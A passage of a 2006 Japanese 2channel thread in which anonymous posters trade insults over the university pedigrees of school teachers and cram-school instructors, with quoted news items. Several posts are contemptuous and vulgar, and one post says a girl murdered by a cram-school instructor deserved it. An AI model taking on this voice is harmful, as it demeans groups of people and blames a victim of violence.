「やる気」と「能力」さえあれば学校の先生に質問したりして
経費を一切かけずに公立トップ校に行ける!

ttp://school5.2ch.net/test/read.cgi/juku/1137521478/l50
【大阪@学区TOP】類塾って…【大阪A学区TOP】


514 :実習生さん:2006/11/29(水) 08:28:57 ID:Igm4NgRB
>>504
この先生は、教室では「虐めはいけない」「差別はいけない」と云ってる。
実際には職員室でも虐めがいっぱいだし。

結局 戦争がなくならないように虐めもなくならないんだろうな。


515 :実習生さん:2006/11/29(水) 10:20:20 ID:REexl9Bn
http://hp.kutikomi.net/mabelle/

516 :実習生さん:2006/11/29(水) 19:27:55 ID:gavnUCFS
>>503
これみて思ったんだが教師って大卒現業職採用の公務員だな。

517 :実習生さん:2006/11/29(水) 19:50:36 ID:hXUR3spp
>>503
母体数が全然違うだろ。

この表で言えることは
学歴如何に関わらず
少数のダメ人間が熟行使になってるってことだ。



518 :実習生さん:2006/11/29(水) 21:52:25 ID:a2YVTG7X
>>508 まあソースもないし、こりゃ妄想だろな。
第一、全国の各種学校合わせた教員数は約九十万、一方、塾の方は専任・臨時あわせて
約五万で全然、規模が違うので、単純な比較はできんな。

519 :実習生さん:2006/11/29(水) 22:50:09 ID:IOecAOmu
低学歴の学校教員が必死だなぁ
汚れた学歴っていうのは、一生ついてまわるから諦めろ

520 :実習生さん:2006/11/30(木) 00:25:31 ID:yYyPfOKs
>>519
高卒乙

521 :実習生さん:2006/11/30(木) 00:36:21 ID:Qk0baHnz
出た出た、学歴コンプの学校教員www

社会からはイジメをなくせと圧力かけられ、
職場の人間関係はギスギスで頭の悪い上司に逆らえず、
生徒からはナメられ、学校の教師より塾講師を信頼され、
塾に対する猛烈な嫉妬を持ち、
ストレス発散の対象を塾講師に向けようとするが、
学歴でボロ負け。

かわいそうだね、学校教師って。

522 :実習生さん:2006/11/30(木) 05:57:32 ID:ltnjVwIM
進学校では生徒だけでなく生徒の親からも「あの先生は駅弁出だからw」と馬鹿にされていますwww

523 :実習生さん:2006/11/30(木) 11:54:54 ID:MzYG39h3
信頼のない教員だって、そりゃいるだろ。
塾の講師だって向いてないのもいるわさ。
どちらでも自分の選んだ道だから、互いに
頑張ればいいじゃないか。

524 :実習生さん:2006/11/30(木) 19:43:46 ID:SyDC2XDF
>>522
教師を最終学歴だけで判断するような保護者は、
底辺校のDQN保護者とはまた違った意味で、
ロクなものではありません。

525 :実習生さん:2006/11/30(木) 19:50:53 ID:E3MDSk1+
駅弁教師もバカだが、東大とかでてるのに塾講師ってホントバカwwww

526 :実習生さん:2006/11/30(木) 20:58:22 ID:5/5zLlpr
学校教師も予備校、塾講師も自分の実力に自信のない香具師ほど学歴に
頼ると思われる。真に上司、同僚、保護者、生徒から認められる教師は
学歴なんかに拘る必要がない。


527 :実習生さん:2006/11/30(木) 21:13:18 ID:fc7u+cDq
>>524
駅弁卒乙

528 :実習生さん:2006/11/30(木) 21:49:50 ID:MzYG39h3
>>526
あ〜〜、まったくそのとおり!

529 :実習生さん:2006/11/30(木) 22:29:27 ID:cp27KrIE
>>525
Fランク卒学校教師乙

530 :実習生さん:2006/11/30(木) 22:31:46 ID:YH5v0jRB
学歴はあんまり関係ないと思う。

低レベルの 言い合い早めて栗。

531 :実習生さん:2006/11/30(木) 23:15:22 ID:Y1t1TK4m
>>530
そもそも学歴で勝負するスレなんだから。
学歴の低い教師が、学歴に随伴する論理的思考能力、記憶力、
判断力、問題解決能力などに欠けていることは明らかだ。

532 :実習生さん:2006/11/30(木) 23:55:05 ID:5/5zLlpr
>>531
では聞くが駅弁大院卒の学歴は?一応修士課程を卒業し、専修免許を持ち、
日本教育学会等で論文発表しているのだが。駅弁大院卒の学校教師はたく
さんいるよ。
>論理的思考能力、記憶力、 判断力、問題解決能力などに欠けていることは
明らかだ。
と言い切れますか?


533 :実習生さん:2006/12/01(金) 00:02:10 ID:ji28fDbf
>>532
駅弁修士なんて何の意味もない。
院試は全入、マーチの卒論クラスで通る修士論文、
学費と時間の無駄に過ぎない学歴。
そもそも駅弁って博士課程のない欠陥大学だろ。
旧帝一工で博士号取ったら認めてやる。

534 :実習生さん:2006/12/01(金) 00:25:06 ID:P76VNbAl
「平家でなければ人でなし」といったところかな。おごれる者久しからず。

535 :実習生さん:2006/12/01(金) 00:42:50 ID:L/t5kwKw
>>526 

現実はそうでした。 
勉強は載せられて、自分で周りの子と同じように楽しく普通の生活をやって
自主的にがんばる子がのびるだけでなく、周りの子にも頼りにされますね。 
自己中心的な子は結局は他人と自分は違うとか言ったりして自己弁護で 
かわいそうですが相手にされないですね。 
今の教育に書けるのはそういうところじゃないでしょうか。 
昔のように純粋に勉強をがんばり続けることはいいですが受験競争は間違いでしたね。 
  

536 :実習生さん:2006/12/01(金) 03:26:45 ID:3kuSiie4

>>534

だが、駅弁は源氏にはなりえない

537 :実習生さん:2006/12/01(金) 10:37:35 ID:bMZWdTkx
だから駅弁教師を貶したくてしょうがない奴の学歴はそのちょっと上か下程度なんだろ。
東大出てる奴が駅弁教師なんか目に入るわけがないし貶す必要もないじゃんwww

538 :実習生さん:2006/12/01(金) 10:57:46 ID:UcT9zqc8
採用試験通れば誰でも同じ。学歴で給料が決まるわけではない。
大事なのは教員として働いていける能力があるかだ。
ましてや英語の先生ならそれなりのスキルは持ってないといけないし
それは英語に限ったことではない。では、国語の先生は漢検要るか?
数学は数検いるか?他の科目は?体育の先生はどう判断するのか?

539 :実習生さん:2006/12/01(金) 11:41:45 ID:Liox5d60
537 538
同意

540 :実習生さん:2006/12/01(金) 16:37:45 ID:ji28fDbf
>>537
残念。
駅弁程度で調子乗ってるアホっぷりが面白いので。

>>538
だから教員採用試験なんて高学歴は眼中にないことを
自覚してね。

541 :実習生さん:2006/12/01(金) 17:40:40 ID:G17A1YhN
なるほど東大卒で塾仔牛なんかやってたらこうなっちゃうのか。
東大卒ゆえにますます惨めだなwww


542 :実習生さん:2006/12/01(金) 17:45:07 ID:ji28fDbf
いえいえ、駅弁卒教師の学歴コンプほど見苦しいものはないですよ。

543 :実習生さん:2006/12/01(金) 18:32:03 ID:A1aQPlyB
>>542 こんな時間に2ちゃんやってる時点でおまいの生活がよくわかるw

544 :実習生さん:2006/12/01(金) 22:06:18 ID:DOLEga24
すまんが、「駅弁教師の学歴コンプ」的な書き込みを見たことがないんだが。

「駅弁教師は学歴コンプにまみれているに違いない」的な書き込みはよく見るんだがね。

545 :実習生さん:2006/12/01(金) 22:24:04 ID:xgfKEjW6
>>544
さすが駅弁は自分のやってることに自覚がないんだな。
分からなかったら、スレを500回ほど読め。
それで分からなかったら、生きてる価値ないよ。

546 :実習生さん:2006/12/01(金) 23:24:20 ID:ygC6eu/R
駅弁教師って、駅弁出て教員になるだけで満足できるから幸せだよな。
田舎なら駅弁でも英雄扱い、勉強もできないのに教壇に立って偉そうに説教。
こんだけ勘違いができるなんて羨ましーわ。

547 :実習生さん:2006/12/02(土) 00:42:10 ID:nw0ZfwSu
あなたを学校教師叩きの「必死男」と認定いたします。
住人のみなさんは、以後「必死男」と呼んでください。

548 :実習生さん:2006/12/02(土) 00:44:49 ID:EBusZLrn
東大出でもないのにその威を借りてるキツネさんかもしれないし、
東大出たのに塾講師にしかなれなくてホントは教師の高待遇を羨んでるのに
あの葡萄は酸っぱいんだい!と無理してるキツネさんかもしれないし、

どっちにしても惨めーなキツネさんですね

549 :実習生さん:2006/12/02(土) 00:52:51 ID:92zoE38M
>>547
他の人に助けを乞うお前が一番必死

550 :お塩様:2006/12/02(土) 00:56:08 ID:jH4VVA8J
俺、本当は昔東大受かったんすけど、何か日本の大学なんてウゼーと思って、
行くのやめましたw

高学歴不在の2chだから、自然と俺への負担もでかくなるw



551 :実習生さん:2006/12/02(土) 01:08:20 ID:FK13tr6m
>>548
塾講師が惨めなキツネなら、
学校教師は有害なゴキブリだな。

552 :実習生さん:2006/12/02(土) 05:17:15 ID:V8fqI3KA
何が無様かって駅弁出の低学歴を批判されると

学歴を批判する奴は人間性がどうたらw
現場を知らずに学歴だけで評価するなw
俺の同僚の旧帝卒は使えないが俺はできるwww
俺は筑波・駅弁院だから高学歴w
学歴ではなく人間力・総合力だw

などと誤魔化す様だよ。
段位のない柔道・剣道・書道の師範、がいるかよw
何かに似ているかと思ったらあれだ亀田三兄弟の父親に似ているんだよな低学歴駅弁教師はw
自分ではできないくせにあみだしたと思っているオリジナルの練習法を教え込み実戦ではボロボロ。
口先だけは達者で、駅弁ばかにすんなー。ときたもんだw

553 :実習生さん:2006/12/02(土) 06:08:40 ID:IgDMEkvu
1日中2chanにはりついている引きこもりニート乙

554 :実習生さん:2006/12/02(土) 07:50:54 ID:EBusZLrn
>>551
あなたはどっちのキツネさんですか?

555 :実習生さん:2006/12/02(土) 08:12:11 ID:GbNN1u+F
同一人物が明らかなのに、どんどんIDが変わっているな〜。

どうやって書き込みしているんだろ?

556 :お塩様:2006/12/02(土) 08:52:41 ID:jH4VVA8J
駅弁なら16章でも、俺なら1小節w

557 :実習生さん:2006/12/02(土) 08:53:35 ID:XJs0Qc0C
ギコナビで入ると、IDがどんどん変わる。
 
駅弁だって、筑波だって 実際受けて合格するとなれば
結構難しいですよ。 

558 :実習生さん:2006/12/02(土) 10:39:26 ID:92zoE38M
>>555
妄想乙
いかに教師は周りの世界が見えてないってことが
分かるレスだな。

>>557
偏差値45未満からすれば難しい部類じゃないか?

559 :実習生さん:2006/12/02(土) 10:53:21 ID:JjWhRqTV
>>546
あ〜あ、言っちゃったねホントのこと。羨ましいってw
皮肉のつもりが無意識を曝け出したんだね

560 :実習生さん:2006/12/02(土) 10:57:34 ID:6fFYJWro
まあ都会じゃあれだが、地方だと公務員・教員は何だかんだいって勝ち組だしな。
田舎でドキュン土方やってる奴がひがんで書いてるんだろw

561 :実習生さん:2006/12/02(土) 13:55:40 ID:lwd3l3YS
結論:教育の場に学歴など関係ない。
   
俺は塾長だが、学校の良い先生とか講師の先生は
みんな駅弁か関関同立産近龍レベルだぜ?
人間性を叩いてる書き込みがあるけど、人間性は
一番大事だろう?  ちょっとマジレス・・・

562 :実習生さん:2006/12/02(土) 14:24:51 ID:92zoE38M
>>559-560
教師って能天気で幸せなんだなぁ
これも頭が悪いからこそなせる業か

563 :実習生さん:2006/12/02(土) 14:29:01 ID:JjWhRqTV
そりゃあ幸せだよ。
いつも7時には帰れて完全週給2日だし夏期冬期休暇に研修休暇もあって
ボーナスは今期夫婦合わせて400万だもの。年金も潤沢。

564 :実習生さん:2006/12/02(土) 14:59:19 ID:GbNN1u+F
>>561
1講師よりも、経営者である塾長の方が世間を分かっている。

565 :実習生さん:2006/12/02(土) 15:18:02 ID:lwd3l3YS
>>564
そこまで大げさではないが・・・
 講師希望で面接に来る数は数百人になるが
 この世界で向き不向きの人材はよくわかったかな。

 教師を叩いてる輩がいるが、教師も人間だぜ。
 役人世界の中で色々とストレス溜まることだって
 あろうし、叩いてるヤツもこんなとこでストレスを
 ぶつけるのはどうかね・・・。
 

566 :実習生さん:2006/12/02(土) 15:18:50 ID:+ey+lAYX
俺は教員が偉いだとか塾講師の方が学歴が高いとかそういう主観論ではレスしない。
ここでは事実だけをレスする。
俺は愛知県出身だが、教員の学歴は「愛知教育大学」、略して愛教大出身者が
ほとんど。もっとくわしく言えば「県立岡崎高校→愛教大卒」という経歴の持ち主が、
圧倒的多数。西三河地方での教員の世界では高校は絶対に岡崎以外は認められないそうだ。
「岡崎→愛教大」というルートでなければならないそうだ(そのように数学の先生から聞いた事がある/学閥の関係)
岡崎出身者でなければ管理職(校長や教頭)にはまずなれないらしい。
それに俺は愛教大以外の大学出身者は見たことがない。唯一、愛教大出身者以外の教員を見たのは、
俺が高校の時だな。当時、高校の時の化学の先生が、京都大学卒という異色の経歴を持っていた。
しかし、その後、学芸員になるために俺が卒業する時に辞めていった(ちなみに豊田西高校)

一方、塾の講師は同志社や立命館、早稲田、上智などが多い(名古屋の河合塾や代々木)
サナル予備校なるものに俺も通った事があるが、やはりそこも同志社や、
龍谷、早稲田などが多かった。学部も教育学部は一人もいなかった。
文学部が一番多く、次に法学部や経済学部が中心。塾の講師は元々が愛知県の人間というよりも、
他の県から愛知に移り住んでる人が凄く多い。
教員は元々が愛知出身で、家も教員の家に生まれた人が多い。



567 :実習生さん:2006/12/02(土) 18:00:46 ID:92zoE38M
>>563
うわ、くそ低収入じゃんwwww


>>565
塾長が教師を擁護?
こんなおかしな話はないね。
どこの架空塾だか知らんが、
講師を大事にしない塾は潰れるよ。

568 :実習生さん:2006/12/02(土) 18:32:43 ID:FK13tr6m
岡崎から愛知教育って落ちこぼれコースじゃん。
優秀者は東大、名古屋大に行くぞ。

569 :塾長:2006/12/02(土) 18:45:04 ID:lwd3l3YS
>>566
愛知県はそうなのか。しがらみってやつだな。
 面白い話を聞いた。

>>567
公務員は収入がどうのって世界じゃないだろ?
 講師を大事にしない塾ってフランチャイズだろう。
 俺には関係ない話だよ。俺の友人に教員がたくさんいるが
 話を聞いてると彼らも狭間で色々大変らしいぞ。
 擁護はしていないが彼らの世界の理解はしている。

570 :実習生さん:2006/12/02(土) 18:59:22 ID:EBusZLrn
>>567
塾講師が冬のボーナス200万の人を低収入呼ばわりねえw
あなた自身はいくらもらえるの?つか出るの?

571 :実習生さん:2006/12/02(土) 21:04:30 ID:6fFYJWro
東大とか出て塾講師って落ちこぼれもいいとこだよなw

572 :本人の努力:2006/12/02(土) 21:12:20 ID:4f/aqTbC
年収1400万


573 :実習生さん:2006/12/02(土) 22:04:16 ID:2MgtnshR
駅弁出身って生きてて恥ずかしくないの?

574 :実習生さん:2006/12/02(土) 22:06:20 ID:afpF2SpW
本質的に理解していなくても
猿真似知識の塊で問題は解ける。

いわゆる学校の授業をやろうとしてみな。
自分がいかにわかったつもりになっていたかが認識できるから。

575 :実習生さん:2006/12/02(土) 23:11:30 ID:92zoE38M
>>570
週4で夕方のみ勤務、参考書の印税合わせて
年収2000万超えますが何か?
駅弁は本の一冊も出せないんだろww
情けねー奴。

576 :実習生さん:2006/12/02(土) 23:21:40 ID:f9ybnZFX
金儲けなら早大出の風俗店店長の俺には勝てないよ!
俺の華麗なるキャリア

早稲田卒(一年留年後、卒業)
 ↓
ホストクラブ勤務。ホストとなる(3年勤める)
 ↓
塾講師
 ↓
塾経営に乗り出す(2年で廃業)
 ↓
風俗店開業(性感マッサージ・一年で廃業)
 ↓
店舗を持たない風俗店開業(宅配ヘルス)
 ↓
 成功(現在、年収三千万円超)




577 :実習生さん:2006/12/02(土) 23:41:47 ID:FK13tr6m
>>573
駅弁は井の中の蛙だから、周りからバカにされてることに
気付かないんだよ。

578 :実習生さん:2006/12/03(日) 00:00:47 ID:38fl2H0E
なんでみんな、妄想だらけの男にかまってんの?脳内なら何でも言えるよ。
直接会って、学歴や学力を競おうなんていったら、逃げ出すタイプだよ。
なんなら、直接対決してあげようか?

579 :実習生さん:2006/12/03(日) 00:23:30 ID:h105B6k8
やはり来ないなwww。脳内厨房の化けの皮を剥がしてあげる。

580 :実習生さん:2006/12/03(日) 00:36:02 ID:h105B6k8
ヤツは偽物
東大生就職実績一覧
会社名               学部 大学院
■コンサルティング業界
マッキンゼー・アンド・カンパニー  7名 7名
ベイン・アンド・カンパニー     3名 0名
ボストン・コンサルティンググループ 2名 3名
アクセンチュア           8名 18名
野村総合研究所           2名 13名
■外資系証券・銀行
ゴールドマン・サックス証券     2名 4名
モルガン・スタンレー証券      0名 6名
メリル・リンチ証券         3名 1名
JPモルガン証券          4名 4名
リーマン・ブラザーズ証券      3名 1名
日本銀行              16名 6名
■総合商社
三菱商事              13名 12名
三井物産              8名 6名
住友商事              9名 6名
伊藤忠商事             6名 8名
■広告・マスコミ・出版
電通                7名 10名
博報堂               7名 8名
NHK               11名 3名
日本テレビ             3名 2名
TBS               3名 0名
フジテレビ             1名 1名

581 :実習生さん:2006/12/03(日) 00:39:18 ID:roFv013/
母校(公立高校)の先生の出身大学は旧帝、早稲田、青学がほとんどだった。
しかし一番権力を握っていて恐れられ、教え方も上手かったのは駅弁どころか、
大東亜帝国レベルの大学出身の先生w
その先生は本まで出していた。ぶっ叩くは、予習しなかっただけで廊下に正座させるは、
授業中タバコを吸って、俺に「お前も吸うか?」と言うような今から思えばとんでもない人だった。
でも誰も嫌ってはいなかったな・・・・・
まあ教え方が上手い高学歴な教員が一番いいのだろうが、教え方上手ければ出身大学はどうでもいいと思うのだが?

ところで公立の教員が本出した場合、印税はどうなるのでしょうか?素朴に思ったw

582 :実習生さん:2006/12/03(日) 00:48:12 ID:h105B6k8
こんなスレで東京大学文科三類に泥を塗るなwww。今度来た時には
口頭試問(10秒以内に即レス)してやるから。


583 :実習生さん:2006/12/03(日) 00:53:12 ID:FdYMhkpc
>>578-579
何一人相撲してるの?

>>582
かわいそうだから、相手してやるよ。
その試問とやらを、今しろ。

584 :実習生さん:2006/12/03(日) 01:02:01 ID:PSeJhC9G
学校の先生大変だなぁ
俺エリートだからいえるけど

くさったおやのガキはくさったガキ

カエルの子はカエル


塾講師なんて論外 

人格破綻者の総合商社 学校の先生と比べ物にならない

585 :実習生さん:2006/12/03(日) 01:08:48 ID:FdYMhkpc
>>584
どこら辺がエリートなのか説明してもらおうか。
そして学校教師が塾講師に勝ってる理由もな。

586 :実習生さん:2006/12/03(日) 07:43:56 ID:QcQCVZ57
1.低学歴でも公務員
2.低学歴でも先生
3.ロリコン天国



587 :実習生さん:2006/12/03(日) 08:36:10 ID:FXUE4/cI
ここで塾講>>学校教師とかいってる奴も何年か後には淘汰されるんだろうなw
まあ予備校講師にもなれないような奴らだしなw

588 :塾長:2006/12/03(日) 15:47:20 ID:MEtCOxP/
>>587
まず、大手の塾は縮小削減だろうな。
 それから才能のない塾講も淘汰されるだろ。
 それは予備校講師も変わらないと思うぜ。

>>努力氏
 完敗です

589 :実習生さん:2006/12/03(日) 15:50:53 ID:4ugVqAw7
その前に学校教師が淘汰される。
バウチャー制でこんなとこに来てる教師はあぼーん。

590 :実習生さん:2006/12/05(火) 12:07:08 ID:DcQWakdL
クソみたいな大学を出た奴が
クソみたいな簡単な採用試験を何度も受けてやっと通って
クソみたいな授業をして
クソして帰っていく

それが学校教師。

591 :実習生さん:2006/12/05(火) 12:43:04 ID:PkInu6tH
>>590 その学校教師より低い月給、不安定な雇用なのが塾講
その事実から目をそむけるには、学校教師より上と信じなきゃやってけないんだろなw

592 :実習生さん:2006/12/05(火) 13:53:15 ID:fTQRxiuK
高校教師になっても殆どの教師は、分けのわからない生徒を相手に低レベルな授業をやるしかない
安定のために、妥協しマクって、胃潰瘍になりながら。。。

俺、毎年 偏差値60以上の生徒だけ相手にして人生やってる。 スマソ。

593 :実習生さん:2006/12/05(火) 15:30:02 ID:kInzWG0H
別にロリコン集団狂死を養護するつもりもないけど

塾って超スキマ産業で脱却した人間が親から銭むしりとるために

必死に嘘ばかりついてるゴキブリみたいな人種だろ?

昔 バイトしたことあるが とことん最低と思ったよ

必死で親をだませって そのためには 夏期講習から何からノルマつけられて

電話させられまくったよ 親は子供のために金だすだす 信じる信じる

そんとき俺は授業させられたけど はいったばかりの18歳

ちなみに授業料は一人5日で18000円 ぼったくりだって思って

きもちわるくなって やめた 金のため 金のため 金のための仕事

んで 俺貰った金は 自給 1100円 さあ 騙すぞ!が号令だった





594 :実習生さん:2006/12/05(火) 18:56:00 ID:eE69nkXM
このスレは夢も希望もないヤツばかりだね。ポジティブな教師は、
学校でも予備校でも塾でも自分ができる最大限の努力をしている。

595 :実習生さん:2006/12/05(火) 22:56:29 ID:DU6f2sLS
学校教師の言い訳
「教育に学歴は関係ない!人間性で決まるんだ!」


学歴も人間性の一つじゃないのかね?

596 :実習生さん:2006/12/05(火) 23:09:37 ID:TmSUwDjy
>>595
禿ど
学んだ内容を忘れるようなヤシに、
優れた人間性があるとは思えん。

597 :実習生さん:2006/12/06(水) 00:03:15 ID:t7vOJCP+
A「あら奥さん、お久しぶり〜(*'∀') 東大の息子さん、就職なさったんですってね。
で、どちらの方なんですの? 銀行?公務員?それとも商社とか?^−^」
B「え〜、実は・・・その〜塾講師なんですの・・・・」
A「えっ、あら('A`) そうなんですの? すみません、変なこと聞いちゃって・・」

598 :実習生さん:2006/12/06(水) 00:33:11 ID:O0GRf8iY
学校教師の学歴コンプがいかに強いか分かるスレだな

599 :実習生さん:2006/12/06(水) 00:40:31 ID:qffu3brf
釣られんなよ馬鹿が多いな

600 :実習生さん:2006/12/06(水) 10:18:37 ID:5O5QqddH
高校の時の同級生で学校教師になったやつはみんな頭も運動も性格もぱっとしなくてというか底辺で
休み時間は寝てる振りしているようなのばっかだったけど。
天は一物も与えず、と思った。

601 :塾長:2006/12/06(水) 12:58:08 ID:wGtEOzhY
>>593
塾って超スキマ産業なのか?
 俺には全国にコンビニの数よりあると思うがな。
 大手はそんなもんだ。相当つらい経験があるようだな。

>>600
そういうヤツでも進路指導主任とか課長になるんだよ。
 地味で大人しかったやつがな・・・

602 :実習生さん:2006/12/06(水) 15:42:12 ID:DK+T3ZYH
全国にたくさんブランチがあると言えばサラ金もそうだけどw
まあ東大出てサラ金に就職したら親は泣く罠。見合いの釣り書きでは最底辺層だろう。
塾講も似たようなもんてことで・・・

603 :塾長:2006/12/06(水) 18:00:28 ID:wGtEOzhY
サラ金だろうが会社が成り立っている以上企業の一つではないのか?
確かに人気のある企業ではないがな。
偏見でしか物事を見れない輩は塾講にもなれないのは確かだがなwww

604 :実習生さん:2006/12/06(水) 20:00:47 ID:QnjcOvmX
まあ結局は、学歴如何に関わらず
就職失敗したダメ人間が塾講etcになるって事。

ところで、ここで塾講煽ってる奴らは
歴とした学校教師か?採用試験通ったのか?
まさかフリーター常勤非常勤講師じゃねーだろーな?w
それなら塾講と大して変わんねーぞ。

あと、使えない教員も論外な。
先に「なれあい教師嫌われ型学級崩壊」を何とかしろよ?いじめの温床らしーぞ?

605 :実習生さん:2006/12/06(水) 21:17:04 ID:P3zWi65M
>>604 河村の言ってること、そのまま信じてる時点で、おまいの知性が大体わかる

606 :実習生さん:2006/12/06(水) 23:26:47 ID:O0GRf8iY
学校教師って民間就職できない学歴の奴がなる職業だろ。
民間なら駅弁って時点でOUTだもんな。
肉体労働だし、まあ自衛隊と同じようなもんか?

607 :実習生さん:2006/12/06(水) 23:36:31 ID:qffu3brf
■■ 官僚出身(天下り、詐欺の前科あり)52歳早大教授に不正経理疑惑!!数十万円が使途不明 ■■

早稲田大でまた不正経理疑惑
ttp://www.tv-asahi.co.jp/hst/
>早稲田大学で、また不正経理疑惑が浮上した。疑惑を持たれているのは、経済産業省出身で52歳の理工学部
>の男性教授。この教授は、先端技術の特許権にかかわる講座を開いていた。この講座には、文部科学省が年間
>5000万円を支給していて、受講者は無料なのだが、男性教授は受講生から1人あたり5万円を徴収し、これまで
>に700万円を集めていた。このほか、開いてもいないシンポジウムの経費として、約40万円を不正に支払わせた
>疑いなども浮上している。大学側は、今回の疑惑について「調査中」としている。


608 :塾長:2006/12/07(木) 12:01:41 ID:wdXd+Cna
教師にも塾講師にもなれない輩が何を言っても始まるまい。
弱い犬ほどキャンキャン鳴くと言うが当たりのようだが。
どうだ?やったこともないのに批評しても説得力がないぞ。

609 :実習生さん:2006/12/07(木) 15:46:32 ID:Q9Unf/oZ
まんこ

610 :実習生さん:2006/12/07(木) 19:04:26 ID:YNeifKLQ
教師の学歴を必死に笑う塾講師

警察官の学歴を必死に笑う警備員

ってかなんで塾講が教育板にいるの?
新聞配達員がマスコミを語るようなもんだなw

って事で誘導

【無職・だめ板】

無職で塾講師やってる人!

http://human5.2ch.net/test/read.cgi/dame/1160205361/l50


611 :実習生さん:2006/12/07(木) 20:06:37 ID:Cuky8OKR
学校教師って教科書を黒板に書き写すくらいしかできないんだろ。
あと、体罰とイジメか。
ただの税金泥棒だな。

612 :実習生さん:2006/12/07(木) 20:14:54 ID:1scWAW0t
塾講師は予備校スレ見といたほうがいいな。おまえらよりはるかに優秀な予備校講師
ですら、この業界の先行きに非常に暗い見通しをしてるぞ。
学校の先生煽ってガス抜きしてる場合か?

613 :実習生さん:2006/12/07(木) 20:37:23 ID:bDTbBkBl
煽ってるのは塾講師じゃないよ
暇でしょうがないニート

614 :塾長:2006/12/07(木) 21:18:38 ID:wdXd+Cna
そうか。ニートなのか。
ムダに相手をしてしまったな。
ニート問題だけは俺もお手上げだ。

615 :実習生さん:2006/12/07(木) 22:23:51 ID:4uH8ELlv
ばか

616 :実習生さん:2006/12/08(金) 01:14:19 ID:+eEYvJCo
学校教師ってFランクでもなれるの仕事なのに、
なりたいと思う奴が理解できないわ。

617 :塾長:2006/12/08(金) 11:12:02 ID:ZXzSZFtO
でもな、まあまあの国立教育学部を出ててもな
教採を新卒で一発合格する学生なんてなかなかいないのが現状だよ。
俺は教師もやったが本来の教務なんて30%ぐらいだったな。

618 :実習生さん:2006/12/08(金) 13:13:11 ID:4MG9ek3J
>>616
それを言うなら司法試験は高卒でも通る

619 :実習生さん:2006/12/08(金) 13:17:03 ID:4MG9ek3J
塾の安全管理進んだか 宇治・女児殺害1年 講師の犯罪やまず

 京都府宇治市の学習塾「京進宇治神明校」で昨年12月、当時小学6年だった女児が、アルバイト講師の
萩野裕被告=公判中=に刺殺されて、10日で1年がたつ。事件は「塾の安全」を問い、塾各社は、講師の
採用・管理体制を強化したが、「講師の犯罪」は続いている。
 「京都の事件では監視カメラもあった。でも、いるはずのない日に講師がいた」「タイムカードを押さない塾
がまだある」「面接も研究を」。11月27日、宇都宮市内のホテル。業界団体の全国学習塾協会が開いた「学
習塾等に通う子どもの安全対策セミナー」で、同協会の関志郎理事は講師の選考管理の重要性を説いた。
(略)

ttp://headlines.yahoo.co.jp/hl?a=20061208-00000003-kyt-l26

620 :実習生さん:2006/12/08(金) 15:09:41 ID:3YE5L3UP
そうはいっても
教師は毎日のように逮捕されるからなー

621 :実習生さん:2006/12/08(金) 15:32:31 ID:hY4ac1di
それもパーセントじゃほとんどゼロ 
政治的な意図を感じる 

塾の犯罪を表に出してくるとき 
そのときはまた法の改正を行い 
利権に結びつく機関を新たに作る 

飲酒運転も昔からあってますが 
ある種の利権も絡めた政策のためにわざとクローズアップして 
確実に国民の意識操作をしている。 

今やマスコミは政治家の奴隷ですね。 

インターネットでしか正しい情報が入らない時代が来るかもしれないです 
そのときは怖いですね。 
そのまえに○部さんは自分たちの悪事がばれないようにyoutubeなどや個人情報を隠蔽する方法や 
法律を考えるでしょう。 
ネットの皆さんがんばりましょう。 



622 :実習生さん:2006/12/08(金) 16:19:33 ID:V/PeOj6b
全てとは言わないがやはり学校の教師は優秀なのが多い。
先生は世間知らず、とか言ってても、いやいや、やっぱり普通のサラリーマンよりかは
遥かに上だよ。適当に大学を卒業しただけの我々のような私大卒の一般のサラリーマンよりとは
比べ物にならないよ。
マスコミにいろいろ悪く言われてても、それはほんの極一部で、
世間で「学校の先生」と言われれば信頼感もあるし、まだまだ一目置かれる存在。
現に私も「学校の先生」に対しては一目置いている。「おお、学校の先生ですか」となるものだ。
多くの人がそ感じると思う。
若い先生でも、きちんと挨拶はできるし(先生に向かって失礼だが)、保護者会でも保護者に対する対応もしっかりしてる。
先生はハキハキしてるし、受け答えもしっかりしてる。
一見、当たり前のようだが実はこんな事ができる若者は少ない。

先生を見てて思うんだが、もし仮に普通に企業に入ったとしても、しっかり仕事が
できる人材だよ。


623 :実習生さん:2006/12/08(金) 21:43:32 ID:6EposY1X
>>619
つかこの餓鬼も先生にタメ愚痴聞くは、キモイだのふざけた香具師だったな?
自業自得だべ....

624 :おめーらは白痴:2006/12/08(金) 22:13:19 ID:gIC5CYYw
>>622
はあ?

625 :おめーらは白痴:2006/12/08(金) 22:14:10 ID:gIC5CYYw
教員採用に「社会人枠」…教育再生会議が提言へ

 安倍首相直属の教育再生会議(野依良治座長)は8日、都内で合宿審議を行い、教員全体の質の向上のため
、「教員採用の社会人枠」を設けるべきだという見解を、1月にまとめる第1次提言に盛り込むことで一致した。

 すでにある特別免許状制度を活用するなどして、専門性が高く、意欲ある社会人の採用を促し、
教員の多様化を図る狙いだ。 一般社会人が対象の特別免許状制度は、専門的な知識や経験に着目し、
都道府県の教育委員会が検定や第三者による推薦で免許を付与する制度。1989年に始まったが、
免許の付与は4月現在で195件にとどまっている。

 再生会議では、特に理科や英語の専門性を持つ教員の増加を狙い、
「採用者全体の2割」などの数値目標を設定して特別免許の付与を進めるよう提言する。同日の審議では
「目標は2割では足りない。教員の半数程度を民間人から採用すべきだ」という意見も出た。

http://headlines.yahoo.co.jp/hl?a=20061208-00000415-yom-pol

っていうか
全部民間からの採用で良いんじゃないか?

626 :実習生さん:2006/12/08(金) 23:12:33 ID:+eEYvJCo
人生の敗者確定が一国の領主気分を味わってるのが教師という感じ

627 :実習生さん:2006/12/08(金) 23:23:48 ID:G77LiXRY
>>625
今の教員の待遇では「優秀な民間人」は採用できず「無能な民間人」ばかりを採用する羽目になりそう。
優秀な人が選ぶような待遇ではないからな。

民間から来た人、授業だけならそれなりにできるだろうが
担任業務と部活で欝になるような気がする。
民間人を大量に採用するなら待遇改善と職務の精選が必要だな。

どこかの校長のように自殺してもらっても困るし。

628 :実習生さん:2006/12/08(金) 23:34:48 ID:C7HePpq8
民間人から教員になろうとするのは、今の会社で役に立たない奴とか、
公務員になって楽しようとか、そういうやつらばっかだろな。
企業でバリバリ働いて、いい給料もらってるのが、来るわけないよなw

629 :実習生さん:2006/12/08(金) 23:38:45 ID:+eEYvJCo
と、無能な教師がビビリながら申しております

630 :実習生さん:2006/12/08(金) 23:47:41 ID:4MG9ek3J
因縁の再戦を制すのは?

微妙な判定で「亀田バッシング」が起きた亀田vs.ランダエタの世界王座決定戦。20日に行われる
因縁の再戦を制すのはどっちだと思う?

亀田興毅
ランダエタ

